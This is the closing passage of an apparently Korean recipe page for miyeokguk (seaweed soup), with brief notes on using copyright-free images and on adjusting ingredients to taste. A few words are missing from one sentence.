시각적인 만족도를 높일 수 있습니다.</p><p data-sourcepos="50:1-50:49"><strong>주의:</strong> 은 직접 촬영하거나 저작권에 문제가 없는 을 사용해야 합니다.</p><p data-sourcepos="52:1-52:79"><strong>참고:</strong> 위에 제시된 레시피는 기본적인 방법이며, 개인의 취향에 따라 재료나 양을 조절하여 자신만의 특별한 미역국을 만들 수 있습니다.</p></div> </div></div>